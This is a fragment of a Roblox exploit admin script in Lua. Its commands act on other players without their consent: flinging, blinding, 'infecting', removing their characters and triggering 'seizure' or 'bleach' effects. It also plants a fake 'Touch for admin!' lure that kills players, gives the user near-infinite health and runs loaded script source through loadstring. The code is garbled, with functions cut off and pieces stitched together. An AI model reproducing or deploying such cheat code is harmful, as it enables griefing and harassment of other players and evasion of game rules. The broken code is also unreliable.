CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(0), math.rad(0))
local rip = false
local connect1 = pchar["Left Arm"].Touched:connect(function(hit)
if connect1 == false then
connect1 = true
if gPlayers:FindFirstChild(hit.Parent.Name) then
infect(gPlayers[hit.Parent.Name])
end
wait(0.5)
connect1 = true
end
end)
local connect2 = pchar["Right Arm"].Touched:connect(function(hit)
if connect2 == false then
connect2 = true
if gPlayers:FindFirstChild(hit.Parent.Name) then
infect(gPlayers[hit.Parent.Name])
end
wait(0.5)
connect2 = true
end
end)
local IV = Instance.new("IntValue", pchar)
IV.Name = "Infected"
IV.Value = 0
IV.Changed:connect(function()
connect1:disconnect()
connect2:disconnect()
end)
end
infect(v)
end
end)
addcmd('mage', 'mage',{},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
if not LP.PlayerGui:FindFirstChild('ChangeArc') then
local arcPackage =
game:GetService("InsertService"):LoadLocalAsset("rbxassetid://01337781430")
local fakeLighting = arcPackage.Lighting
wait()
local destructAnchored = false
local maxMass = 1000
function newCESS(scr)
local newFunc = loadstring(scr.Source)
if type(newFunc) ~= "function" then return end
setfenv(newFunc,setmetatable({script = scr},{
__index = function(self,ind)
if ind == "game" then return proGame end
return getfenv()[ind]
end,
__newindex = function(self,ind,val)
rawset(self,ind,val)
end
}))
pcall(function()spawn(newFunc)end)
end
gPlayers.LocalPlayer.Character.Humanoid.MaxHealth = 999999999
gPlayers.LocalPlayer.Character.Humanoid.Health = 999999999
function destroyHook(obj,replacement,par)
obj:GetPropertyChangedSignal("Parent"):Connect(function()
local newObj = replacement:Clone()
if newObj:IsA("ScreenGui") then newObj.ResetOnSpawn = false end
newObj.Parent = par
destroyHook(newObj,replacement,par)
end)
end
function replaceScripts(root)
for i,v in pairs(root:GetChildren()) do
if v:IsA("Script") and not v:IsA("LocalScript") then
local tempStore = {}
for i2,v2 in pairs(v:GetChildren()) do
table.insert(tempStore,v2:Clone())
end
local newScript = Instance.new("LocalScript",v.Parent)
newScript.Name = v.Name
for i2,v2 in pairs(tempStore) do
v2.Parent = newScript
end
v:Destroy()
end
replaceScripts(v)
end
end
if not game.ReplicatedStorage:FindFirstChild(gPlayers.LocalPlayer.Name.."Element")
then
local eTemplate = gPlayers.LocalPlayer.PlayerGui.Player1Element
eTemplate.Name = gPlayers.LocalPlayer.Name.."Element"
eTemplate.Parent = game.ReplicatedStorage
end
if not game.ReplicatedStorage:FindFirstChild(gPlayers.LocalPlayer.Name.."FakeName")
then
local fTemplate = gPlayers.LocalPlayer.PlayerGui.Player1FakeName
fTemplate.Name = gPlayers.LocalPlayer.Name.."FakeName"
fTemplate.Parent = game.ReplicatedStorage
end
if not game.ReplicatedStorage:FindFirstChild(gPlayers.LocalPlayer.Name.."Level")
then
local lTemplate = gPlayers.LocalPlayer.PlayerGui.Player1Level
lTemplate.Name = gPlayers.LocalPlayer.Name.."Level"
lTemplate.Parent = game.ReplicatedStorage
end
if not
game.ReplicatedStorage:FindFirstChild(gPlayers.LocalPlayer.Name.."Membership") then
local mTemplate = gPlayers.LocalPlayer.PlayerGui.Player1Membership
mTemplate.Name = gPlayers.LocalPlayer.Name.."Membership"
mTemplate.Parent = game.ReplicatedStorage
end
function getMyPlayerArea()
for i,v in pairs(game.Workspace.BuildingAreas:GetChildren()) do
if v.Player.Value == player.Name then
return v.PlayerArea
end
end
end
local whitelistedParts = {
["DamagePart"] = true,
["Explosion"] = true,
["Explosion2"] = true,
["SuperExplosion"] = true,
}
workspace.DescendantAdded:connect(function(desc)
if desc:IsA("Script") and desc:IsDescendantOf(gPlayers.LocalPlayer.Character)
then
newCESS(desc)
elseif whitelistedParts[desc.Parent.Name] and desc:IsA("Script") then
newCESS(desc)
elseif desc:IsA("BodyGyro") then
desc:GetPropertyChangedSignal("MaxTorque"):Connect(function()
desc.MaxTorque = Vector3.new(100000,100000,100000)
end)
--elseif desc:IsA("BodyPosition") then
-- desc:GetPropertyChangedSignal("MaxForce"):Connect(function()
-- desc.MaxForce = Vector3.new(10000,10000,10000)
-- end)
end
end)
player.Character.Humanoid.MaxHealth = (100+(player.leaderstats1.Level.Value*25))
player.Character.Humanoid.Health = player.Character.Humanoid.MaxHealth
player.PlayerGui.HealthGui.MaxMana.Value = (150+
(player.leaderstats1.Level.Value*25))
player.PlayerGui.HealthGui.MaxXP.Value = (player.leaderstats1.Level.Value*50)
player.PlayerGui.HealthGui.Mana.Value = player.PlayerGui.HealthGui.MaxMana.Value
wait(1)
local arcs = {}
function getMove(root)
for i,v in pairs(root:GetChildren()) do
if v.Name ~= "Requirement" then
return v
end
end
return nil
end
Open = false
MouseClick = function()
if Open == false then
Open = true
player.PlayerGui.ChangeArc.Stuff.Visible = true
else
if Open == true then
Open = false
player.PlayerGui.ChangeArc.Stuff.Visible = false
end
end
end
player.PlayerGui.ChangeArc.Frame.Toggle.MouseButton1Down:connect(MouseClick)
Open2 = false
MouseClick2 = function()
if Open2 == false then
Open2 = true
arcMoves.Visible = true
else
if Open2 == true then
Open2 = false
arcMoves.Visible = false
end
end
end
arcToggler.MouseButton1Down:connect(MouseClick2)
newCESS(player.PlayerGui.ArcMusicPlayer["Music Player Module"])
addcmd('clone','clones player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
spawn(function()
pchar.Archivable = true
local clone = pchar:Clone()
clone.Parent = workspace
local cloneV = Instance.new("BoolValue")
cloneV.Name = "isclone"
cloneV.Parent = clone
clone:MoveTo(pchar:GetModelCFrame().p)
clone:MakeJoints()
pchar.Archivable = false
end)
end
end)
addcmd('spin','spins player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar = gPlayers[v].Character
for i,v in pairs(pchar.Torso:GetChildren()) do
if v.Name == "Spinning" then
v:Destroy()
end
end
local Torso = pchar.Torso
local BG = Instance.new("BodyGyro", Torso)
BG.Name = "Spinning"
BG.maxTorque = Vector3.new(0, math.huge, 0)
BG.P = 11111
BG.cframe = Torso.CFrame
repeat wait(1/44)
BG.CFrame = BG.CFrame * CFrame.Angles(0,math.rad(30),0)
until not BG or BG.Parent ~= Torso
end)
end
end)
addcmd('fling','flings player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Humanoid") then
local xran
local zran
repeat
xran = math.random(-9999,9999)
until math.abs(xran) >= 5555
repeat
zran = math.random(-9999,9999)
until math.abs(zran) >= 5555
pchar.Humanoid.Sit = true
pchar.HumanoidRootPart.Velocity = Vector3.new(0,0,0)
local BF = Instance.new("BodyForce", pchar.HumanoidRootPart)
BF.force = Vector3.new(xran * 4, 9999 * 5, zran * 4)
end
end
end)
addcmd('skydive','self explanatory',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("HumanoidRootPart") then
pchar.HumanoidRootPart.CFrame = pchar.HumanoidRootPart.CFrame +
Vector3.new(0,10000,0)
end
end
end)
addcmd('bleach','drink bleach',{''},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
bleach(gPlayers[v])
end
end)
end
local Seizure = Instance.new("StringValue", pchar)
Seizure.Name = "Seizure"
pchar.Humanoid.PlatformStand = true
repeat wait()
pchar.Torso.Velocity = Vector3.new(math.random(-10,10),-
5,math.random(-10,10))
pchar.Torso.RotVelocity = Vector3.new(math.random(-
5,5),math.random(-5,5),math.random(-5,5))
until Seizure.Name == "NotSeizure"
end
end)
blindT = {}
addcmd('blind','blinds a player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if FindTable(blindT, _players[v].Name) then return end
local blind = gPlayers[v].Name
local victim = gPlayers:FindFirstChild(blind)
if victim ~= nil then
victim.CameraMaxZoomDistance = 0.5
blnd = Instance.new("Part",workspace)
blnd.Name = "IYblind" .. gPlayers[v].Name
blnd.Size = Vector3.new(1,1,1)
blnd.CanCollide = false
blnd.BrickColor = BrickColor.new("Really black")
blnd.Material = "Neon"
local m = Instance.new("SpecialMesh",blnd)
m.Scale = Vector3.new(-1.5,-1.5,-1.5)
m.MeshId = "http://www.roblox.com/asset/?id=10061232"
local w = Instance.new("Weld",blnd)
w.Part0 = blnd
w.Part1 = victim.Character.Head
if FindTable(blindT, _players[v].Name) then return end
table.insert(blindT, _players[v].Name)
repeat if not workspace:FindFirstChild('IYblind' .. gPlayers[v].Name)
then
local blind = gPlayers[v].Name
local victim = gPlayers:FindFirstChild(blind)
if victim ~= nil then
victim.CameraMaxZoomDistance = 0.5
blnd = Instance.new("Part",workspace)
blnd.Name = "IYblind" .. gPlayers[v].Name
blnd.Size = Vector3.new(1,1,1)
blnd.CanCollide = false
blnd.BrickColor = BrickColor.new("Really black")
blnd.Material = "Neon"
local m = Instance.new("SpecialMesh",blnd)
m.Scale = Vector3.new(-1.5,-1.5,-1.5)
m.MeshId = "http://www.roblox.com/asset/?id=10061232"
local w = Instance.new("Weld",blnd)
w.Part0 = blnd
w.Part1 = victim.Character.Head
end end wait(1)
until not FindTable(blindT, _players[v].Name)
end end) end end)
addcmd('unblind','blinds a player',{'noblind'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
for a,b in pairs(blindT) do if b == _players[v].Name then
table.remove(blindT, a) end end
local blind = gPlayers[v].Name
local victim = gPlayers:FindFirstChild(blind)
if victim ~= nil then
victim.CameraMaxZoomDistance = 400 wait(0.5)
for _, child in pairs( workspace:GetChildren()) do
if child.Name == "IYblind" .. gPlayers[v].Name then
child:Destroy()
end end end end) end end)
addcmd('punish','punishs player',{''},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
pchar.Parent = LightingService
end
end)
addcmd('unpunish','unpunishs player',{''},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if LightingService:FindFirstChild("" .. gPlayers[v].Name) then
LightingService:FindFirstChild("" .. gPlayers[v].Name).Parent =
workspace
end
end
end)
local starmanPlayers = {}
local starmanLastColor = nil
local starmanEvents = {}
game:GetService("Debris"):AddItem(powerupSound,2)
while char.HumanoidRootPart:FindFirstChild("Starman") do
char.HumanoidRootPart.Starman:Destroy() end
char.Humanoid.WalkSpeed = 32
char.Humanoid.MaxHealth = math.huge
char.Humanoid.Health = math.huge
while char.HumanoidRootPart:FindFirstChild("StarmanFlash") do
char.HumanoidRootPart.StarmanFlash:Destroy() end
local tadaas = {}
for i = 1,1 do
local tadaa =
Instance.new("Sound",part.Parent.HumanoidRootPart)
tadaa.Volume = 10
tadaa.SoundId = "rbxassetid://551195499"
table.insert(tadaas,tadaa)
end
wait()
for i,v in pairs(tadaas) do
v:Play()
end
end
end
local events = {}
for i,v in pairs(char:GetChildren()) do
if v:IsA("BasePart") then v.Material = Enum.Material.Neon
table.insert(events,v.Touched:Connect(stardestroy)) end
end
if starmanEvents[plr.Name] then for i,v in
pairs(starmanEvents[plr.Name]) do v:Disconnect() end starmanEvents[plr.Name] = nil
end
starmanEvents[plr.Name] = events
starmanPlayers[plr.Name] = char
end
local Timers = {}
function checkTimer(n,t,res)
if not Timers[n] then Timers[n] = 0 end
function nonEmpty(t)
for i,v in pairs(t) do
return true
end
return false
end
game:GetService("RunService").RenderStepped:Connect(function()
if nonEmpty(starmanPlayers) then
if checkTimer("Starman",0.05,true) then
for name,plrchar in pairs(starmanPlayers) do
ypcall(function()
local colors = {"Bright red","Bright blue","Bright
green","Bright yellow","Bright violet"}
if not gPlayers:FindFirstChild(name) then
starmanPlayers[name] = nil end
if plr then
local char = plrchar
local light =
char.HumanoidRootPart:FindFirstChild("StarmanFlash")
local meshMap = {}
if char.Head:FindFirstChild("Mesh") then
meshMap["Head"] = char.Head.Mesh.MeshId end
game:GetService("TweenService"):Create(fade,TweenInfo.new(0.5),{Transparency
= 1}):Play()
game:GetService("Debris"):AddItem(fade,0.5)
end
end
light.Color = newColor.Color
end
end)
end
end
end
end)
addcmd('bait',';)',{'troll'},
function(args, speaker)
spawn(function()
local M = Instance.new('Model', workspace) M.Name = 'IYbait'
local P = Instance.new('Part', M) P.Name = 'Main' P.Position =
speaker.Character.Head.Position P.Color = maincolor P.Material = 'Neon' P.Size =
Vector3.new(4, 1, 4)
y = Instance.new("BillboardGui")
y.Size = UDim2.new(0,100,0,150)
y.StudsOffset = Vector3.new(0,1,0)
y.Parent = P
y.Adornee = P
f = Instance.new("TextLabel")
f.Parent = y
f.BackgroundTransparency = 1
f.Position = UDim2.new(0,0,0,-50)
f.Size = UDim2.new(0,100,0,100)
f.Font = "Highway"
f.FontSize = "Size48"
f.Text = "Touch for admin!"
f.TextStrokeColor3 = Color3.new(0,0,0)
f.TextColor3 = Color3.new(255/255,255/255,255/255)
f.TextStrokeTransparency = 0
f.TextYAlignment = "Bottom"
P.Touched:connect(function(oof) if oof.Parent.Name ~= speaker.Name or
oof.Parent.Name ~= LP.Name then if oof.Parent:FindFirstChild('Humanoid') then
execCmd("oof " .. oof.Parent.Name, Player) end end end)
end)
end)
function CreateInstance(cls,props)
local inst = Instance.new(cls)
for i,v in pairs(props) do
inst[i] = v
end
return inst end
local function createSoundFrame()
local soundFrame = Instance.new("Frame") soundFrame.Name = "Sound"
soundFrame.BackgroundColor3 = Color3.new(0, 0, 0) soundFrame.BackgroundTransparency
= 1 soundFrame.BorderSizePixel = 0 soundFrame.Position = UDim2.new(0.5, -350, 0, -
100) soundFrame.Size = UDim2.new(0, 700, 0, 35)
local soundFrame4 = Instance.new("TextLabel") soundFrame4.Name = "SName"
soundFrame4.Parent = soundFrame soundFrame4.BackgroundColor3 = Color3.new(1, 1, 1)
soundFrame4.BackgroundTransparency = 1 soundFrame4.Position = UDim2.new(0, 3, 0, 2)
soundFrame4.Size = UDim2.new(1, -6, 0, 15) soundFrame4.Font =
Enum.Font.SourceSansBold soundFrame4.FontSize = Enum.FontSize.Size14
soundFrame4.Text = "Audio" soundFrame4.TextColor3 = Color3.new(1, 1, 1)
soundFrame4.TextWrapped = true soundFrame4.TextYAlignment = Enum.TextYAlignment.Top
local soundFrame6 = Instance.new("TextButton") soundFrame6.Name = "Pause"
soundFrame6.Parent = soundFrame soundFrame6.BackgroundColor3 = Color3.new(0.901961,
0.901961, 0.901961) soundFrame6.BackgroundTransparency = 1 soundFrame6.Position =
UDim2.new(0, 170, 1, -18) soundFrame6.Size = UDim2.new(0, 15, 0, 15)
soundFrame6.Font = Enum.Font.SourceSans soundFrame6.FontSize = Enum.FontSize.Size14
soundFrame6.Text = "" soundFrame6.TextColor3 = Color3.new(0.901961, 0.901961,
0.901961)
local soundFrame7 = CreateInstance("Frame",
{Style=0,Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(0.90
196084976196,0.90196084976196,0.90196084976196),BackgroundTransparency=0,BorderColo
r3=Color3.new(0.10588236153126,0.16470588743687,0.20784315466881),BorderSizePixel=0
,ClipsDescendants=false,Draggable=false,Position=UDim2.new(0,3,0,0),Rotation=0,Sele
ctable=false,Size=UDim2.new(0,2,1,0),SizeConstraint=0,Visible=true,ZIndex=1,Name="L
ine",Parent = soundFrame6})
local soundFrame8 = CreateInstance("Frame",
{Style=0,Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(0.90
196084976196,0.90196084976196,0.90196084976196),BackgroundTransparency=0,BorderColo
r3=Color3.new(0.10588236153126,0.16470588743687,0.20784315466881),BorderSizePixel=0
,ClipsDescendants=false,Draggable=false,Position=UDim2.new(1,-
5,0,0),Rotation=0,Selectable=false,Size=UDim2.new(0,2,1,0),SizeConstraint=0,Visible
=true,ZIndex=1,Name="Line",Parent = soundFrame6})
local soundFrame9 = Instance.new("Frame") soundFrame9.Name = "Pos"
soundFrame9.Parent = soundFrame soundFrame9.BackgroundColor3 = Color3.new(0.901961,
0.901961, 0.901961) soundFrame9.BackgroundTransparency = 1
soundFrame9.BorderSizePixel = 0 soundFrame9.Position = UDim2.new(0, 260, 1, -16)
soundFrame9.Size = UDim2.new(1, -300, 0, 11)
local soundFrame10 = Instance.new("Frame") soundFrame10.Name = "Touch"
soundFrame10.Parent = soundFrame9 soundFrame10.BackgroundColor3 = Color3.new(1, 1,
1) soundFrame10.BorderSizePixel = 0 soundFrame10.Size = UDim2.new(0, 5, 0, 11)
local soundFrame11 = CreateInstance("Frame",
{Style=0,Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(1,1,
1),BackgroundTransparency=0,BorderColor3=Color3.new(0.10588236153126,0.164705887436
87,0.20784315466881),BorderSizePixel=0,ClipsDescendants=false,Draggable=false,Posit
ion=UDim2.new(0,0,0,5),Rotation=0,Selectable=false,Size=UDim2.new(1,0,0,1),SizeCons
traint=0,Visible=true,ZIndex=1,Name="Line",Parent = soundFrame9})
local soundFrame12 = Instance.new("TextLabel") soundFrame12.Name = "TimeEnd"
soundFrame12.Parent = soundFrame soundFrame12.BackgroundColor3 = Color3.new(1, 1,
1) soundFrame12.BackgroundTransparency = 1 soundFrame12.Position = UDim2.new(1, -
35, 1, -18) soundFrame12.Size = UDim2.new(0, 30, 0, 15) soundFrame12.Font =
Enum.Font.SourceSans soundFrame12.FontSize = Enum.FontSize.Size14 soundFrame12.Text
= "1:52" soundFrame12.TextColor3 = Color3.new(1, 1, 1) soundFrame12.TextYAlignment
= Enum.TextYAlignment.Top
local soundFrame13 = Instance.new("TextLabel") soundFrame13.Name =
"TimeStart" soundFrame13.Parent = soundFrame soundFrame13.BackgroundColor3 =
Color3.new(1, 1, 1) soundFrame13.BackgroundTransparency = 1 soundFrame13.Position =
UDim2.new(0, 225, 1, -18) soundFrame13.Size = UDim2.new(0, 30, 0, 15)
soundFrame13.Font = Enum.Font.SourceSans soundFrame13.FontSize =
Enum.FontSize.Size14 soundFrame13.Text = "0:00" soundFrame13.TextColor3 =
Color3.new(1, 1, 1) soundFrame13.TextYAlignment = Enum.TextYAlignment.Top
local soundFrame15 = Instance.new("TextButton") soundFrame15.Name =
"NextSong" soundFrame15.Parent = soundFrame soundFrame15.BackgroundColor3 =
Color3.new(1, 1, 1) soundFrame15.BackgroundTransparency = 1 soundFrame15.Position =
UDim2.new(0, 80, 1, -18) soundFrame15.Size = UDim2.new(0, 15, 0, 15)
soundFrame15.Font = Enum.Font.SourceSans soundFrame15.FontSize =
Enum.FontSize.Size14 soundFrame15.Text = "" soundFrame15.TextColor3 = Color3.new(1,
1, 1)
local soundFrame16 = CreateInstance("Frame",
{Style=0,Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(0.90
196084976196,0.90196084976196,0.90196084976196),BackgroundTransparency=0,BorderColo
r3=Color3.new(0.10588236153126,0.16470588743687,0.20784315466881),BorderSizePixel=0
,ClipsDescendants=false,Draggable=false,Position=UDim2.new(1,-
2,0,0),Rotation=0,Selectable=false,Size=UDim2.new(0,2,1,0),SizeConstraint=0,Visible
=true,ZIndex=1,Name="Line",Parent = soundFrame15})
local soundFrame17 =
CreateInstance("ImageLabel",{Image="rbxassetid://304846479",ImageColor3=Color3.new(
0.90196084976196,0.90196084976196,0.90196084976196),ImageRectOffset=Vector2.new(0,0
),ImageRectSize=Vector2.new(0,0),ImageTransparency=0,ScaleType=0,SliceCenter=Rect.n
ew(0,0,0,0),Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(1
,1,1),BackgroundTransparency=1,BorderColor3=Color3.new(0.10588236153126,0.164705887
43687,0.20784315466881),BorderSizePixel=1,ClipsDescendants=false,Draggable=false,Po
sition=UDim2.new(0,0,0,2),Rotation=90,Selectable=false,Size=UDim2.new(0,10,0,11),Si
zeConstraint=0,Visible=true,ZIndex=1,Name="ImageLabel",Parent = soundFrame15})
local soundFrame18 = Instance.new("TextButton") soundFrame18.Name =
"PrevSong" soundFrame18.Parent = soundFrame soundFrame18.BackgroundColor3 =
Color3.new(1, 1, 1) soundFrame18.BackgroundTransparency = 1 soundFrame18.Position =
UDim2.new(0, 20, 1, -18) soundFrame18.Size = UDim2.new(0, 15, 0, 15)
soundFrame18.Font = Enum.Font.SourceSans soundFrame18.FontSize =
Enum.FontSize.Size14 soundFrame18.Text = "" soundFrame18.TextColor3 = Color3.new(1,
1, 1)
local soundFrame19 = CreateInstance("Frame",
{Style=0,Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(0.90
196084976196,0.90196084976196,0.90196084976196),BackgroundTransparency=0,BorderColo
r3=Color3.new(0.10588236153126,0.16470588743687,0.20784315466881),BorderSizePixel=0
,ClipsDescendants=false,Draggable=false,Position=UDim2.new(0,0,0,0),Rotation=0,Sele
ctable=false,Size=UDim2.new(0,2,1,0),SizeConstraint=0,Visible=true,ZIndex=1,Name="L
ine",Parent = soundFrame18})
local soundFrame20 =
CreateInstance("ImageLabel",{Image="rbxassetid://304846479",ImageColor3=Color3.new(
0.90196084976196,0.90196084976196,0.90196084976196),ImageRectOffset=Vector2.new(0,0
),ImageRectSize=Vector2.new(0,0),ImageTransparency=0,ScaleType=0,SliceCenter=Rect.n
ew(0,0,0,0),Active=false,AnchorPoint=Vector2.new(0,0),BackgroundColor3=Color3.new(1
,1,1),BackgroundTransparency=1,BorderColor3=Color3.new(0.10588236153126,0.164705887
43687,0.20784315466881),BorderSizePixel=1,ClipsDescendants=false,Draggable=false,Po
sition=UDim2.new(0,5,0,2),Rotation=-
90,Selectable=false,Size=UDim2.new(0,10,0,11),SizeConstraint=0,Visible=true,ZIndex=
1,Name="ImageLabel",Parent = soundFrame18})
local soundFrame21 = Instance.new("TextLabel") soundFrame21.Name =
"PlaylistCount" soundFrame21.Parent = soundFrame soundFrame21.BackgroundColor3 =
Color3.new(1, 1, 1) soundFrame21.BackgroundTransparency = 1 soundFrame21.Position =
UDim2.new(0, 40, 1, -18) soundFrame21.Size = UDim2.new(0, 35, 0, 15)
soundFrame21.Font = Enum.Font.SourceSans soundFrame21.FontSize =
Enum.FontSize.Size14 soundFrame21.Text = "1/1" soundFrame21.TextColor3 =
Color3.new(1, 1, 1) soundFrame21.TextYAlignment = Enum.TextYAlignment.Top
local soundFrame22 = Instance.new("ImageButton") soundFrame22.Name =
"PlayStop" soundFrame22.Parent = soundFrame soundFrame22.BackgroundColor3 =
Color3.new(0.901961, 0.901961, 0.901961) soundFrame22.BackgroundTransparency = 1
soundFrame22.BorderSizePixel = 0 soundFrame22.Position = UDim2.new(0, 145, 1, -18)
soundFrame22.Rotation = 90 soundFrame22.Size = UDim2.new(0, 15, 0, 15)
soundFrame22.AutoButtonColor = false soundFrame22.Image = "rbxassetid://304846479"
soundFrame22.ImageColor3 = Color3.new(0.901961, 0.901961, 0.901961)
return soundFrame end
local soundFrame = createSoundFrame()
soundFrame.Visible = true
local MusicPlayer do
MusicPlayer = {}
local playlist = {}
local currentSong = 1
local playlistHook = nil
--local soundFrame = script.Parent:WaitForChild("Sound")
local soundLine = soundFrame:WaitForChild("Pos")
local soundTouch = soundLine:WaitForChild("Touch")
local soundPlayStop = soundFrame:WaitForChild("PlayStop")
local soundPause = soundFrame:WaitForChild("Pause")
local soundNext = soundFrame:WaitForChild("NextSong")
local soundPrev = soundFrame:WaitForChild("PrevSong")
local soundButtons = {soundPlayStop,soundPause,soundNext,soundPrev}
local mouseDrag = false
local mouse = gPlayers.LocalPlayer:GetMouse()
local lineBar = soundFrame:WaitForChild("Pos")
adminSound = Instance.new("Sound",nil)
local function timeConvert(num)
local mins = math.floor(num/60)
local secs = math.floor(num % 60)
return tostring(mins)..":"..(math.floor(secs/10)==0 and "0" or
"")..tostring(secs)
end
local function updateSongLine()
local linePos = mouse.X - soundLine.AbsolutePosition.X
if linePos >= 0 and linePos <= soundLine.AbsoluteSize.X then
local movePos = linePos/soundLine.AbsoluteSize.X
soundTouch.Position = UDim2.new(movePos,0,0,0)
elseif linePos < 0 then
soundTouch.Position = UDim2.new(0,0,0,0)
else
soundTouch.Position = UDim2.new(1,0,0,0)
end
local newTimePos = soundTouch.Position.X.Scale * adminSound.TimeLength
adminSound.TimePosition = newTimePos
soundFrame.TimeStart.Text = timeConvert(newTimePos)
soundFrame.TimeEnd.Text = timeConvert(adminSound.TimeLength)
end
local function updateDetails(id)
local info = game:GetService("MarketplaceService"):GetProductInfo(id)
soundFrame.SName.Text = info.Name
end
local function setPlaylistHook()
if playlistHook then playlistHook:Disconnect() playlistHook = nil end
if #playlist == 0 then return end
playlistHook = adminSound.DidLoop:connect(function()
if currentSong == #playlist then currentSong = 1 else currentSong
= currentSong + 1 end
soundFrame.PlaylistCount.Text =
tostring(currentSong).."/"..tostring(#playlist)
MusicPlayer:Play(playlist[currentSong],true)
end)
end
local function disconnectPlaylistHook()
if playlistHook then playlistHook:disconnect() playlistHook = nil end
end
game:GetService("RunService").RenderStepped:Connect(function()
if adminSound.Playing then
soundTouch.Position =
UDim2.new(adminSound.TimePosition/adminSound.TimeLength,0,0,0)
soundFrame.TimeStart.Text = timeConvert(adminSound.TimePosition)
soundFrame.TimeEnd.Text = timeConvert(adminSound.TimeLength)
end
end)
lineBar.InputBegan:connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
mouseDrag = true
updateSongLine()
end
end)
lineBar.InputEnded:connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
mouseDrag = false
end
end)
mouse.Move:connect(function(prop)
if mouseDrag then
updateSongLine()
end
end)
function MusicPlayer:Play(id,plist)
if not plist then playlist = {} disconnectPlaylistHook()
soundFrame.PlaylistCount.Visible = false soundFrame.NextSong.Visible = false
soundFrame.PrevSong.Visible = false end
adminSound:Stop()
if adminSound.Parent == nil then
adminSound = Instance.new("Sound",workspace)
adminSound.Name = "IYsound"
adminSound.Looped = true
if plist then setPlaylistHook() end
end
adminSound.SoundId = "rbxassetid://"..tostring(id)
adminSound.TimePosition = 0
--repeat wait() until adminSound.IsLoaded
adminSound:Play()
soundPlayStop.BackgroundTransparency = 0
soundPlayStop.ImageTransparency = 1
updateDetails(id)
end
function MusicPlayer:Playlist(list)
playlist = list
soundFrame.PlaylistCount.Visible = true soundFrame.NextSong.Visible =
true soundFrame.PrevSong.Visible = true
currentSong = 1
if adminSound.Parent == nil then
adminSound = Instance.new("Sound",workspace)
adminSound.Name = "IYsound"
adminSound.Looped = true
end
soundFrame.PlaylistCount.Text = "1/"..tostring(#playlist)
MusicPlayer:Play(playlist[1],true)
setPlaylistHook()
end
function MusicPlayer:Stop()
adminSound:Stop()
adminSound.TimePosition = 0
soundTouch.Position = UDim2.new(0,0,0,0)
soundFrame.TimeStart.Text = "0:00"
soundPlayStop.BackgroundTransparency = 1
soundPlayStop.ImageTransparency = 0
end
function MusicPlayer:Pause()
adminSound:Pause()
soundPlayStop.BackgroundTransparency = 1
soundPlayStop.ImageTransparency = 0
end
function MusicPlayer:Resume()
adminSound:Resume()
soundPlayStop.BackgroundTransparency = 0
soundPlayStop.ImageTransparency = 1
setPlaylistHook()
end
function MusicPlayer:NextSong()
if #playlist == 0 then return end
if currentSong == #playlist then currentSong = 1 else currentSong =
currentSong + 1 end
soundFrame.PlaylistCount.Text =
tostring(currentSong).."/"..tostring(#playlist)
MusicPlayer:Play(playlist[currentSong],true)
end
function MusicPlayer:PrevSong()
if #playlist == 0 then return end
if currentSong == 1 then currentSong = #playlist else currentSong =
currentSong - 1 end
soundFrame.PlaylistCount.Text =
tostring(currentSong).."/"..tostring(#playlist)
MusicPlayer:Play(playlist[currentSong],true)
end
function MusicPlayer:SetSong(ind)
if ind > #playlist or ind <= 0 then return end
soundFrame.PlaylistCount.Text = tostring(ind).."/"..tostring(#playlist)
MusicPlayer:Play(playlist[ind],true)
end
playerenabled = false
function MusicPlayer:Show()
soundFrame:TweenPosition(UDim2.new(0.5,-350,0,-
72),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.5,true)
end
function MusicPlayer:Hide()
soundFrame:TweenPosition(UDim2.new(0.5,-350,0,-
150),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.5,true)
end
function colorFrames(obj,col)
for i,v in pairs(obj:GetChildren()) do
if v:IsA("ImageLabel") then
v.ImageColor3 = col
end
v.BackgroundColor3 = col
end
end
for i,v in pairs(soundButtons) do
v.MouseEnter:connect(function()
if v:IsA("ImageButton") then v.ImageColor3 = Color3.new(1,1,1)
end
if v:IsA("TextButton") then v.TextColor3 = Color3.new(1,1,1) end
v.BackgroundColor3 = Color3.new(1,1,1)
colorFrames(v,Color3.new(1,1,1))
end)
v.MouseLeave:connect(function()
if v:IsA("ImageButton") then v.ImageColor3 = Color3.new(230/255,
230/255, 230/255) end
if v:IsA("TextButton") then v.TextColor3 = Color3.new(230/255,
230/255, 230/255) end
v.BackgroundColor3 = Color3.new(230/255, 230/255, 230/255)
colorFrames(v,Color3.new(230/255, 230/255, 230/255))
end)
end
soundPlayStop.MouseButton1Click:connect(function()
if adminSound.Playing then
MusicPlayer:Stop()
else
MusicPlayer:Resume()
end
end)
soundPause.MouseButton1Click:connect(function()
MusicPlayer:Pause()
end)
soundNext.MouseButton1Click:connect(MusicPlayer.NextSong)
soundPrev.MouseButton1Click:connect(MusicPlayer.PrevSong)
end
local testgui = Instance.new("ScreenGui",game.CoreGui)
soundFrame.Parent = testgui
addcmd('playlist','makes a noice playlist',{'ids','player'},
function(args, speaker)
playerenabled = true
if #args > 0 then
for i,v in pairs(game:GetDescendants()) do
if v:IsA'Sound'then v:Destroy() end end wait(0.1)
if adminSound.Parent == nil then
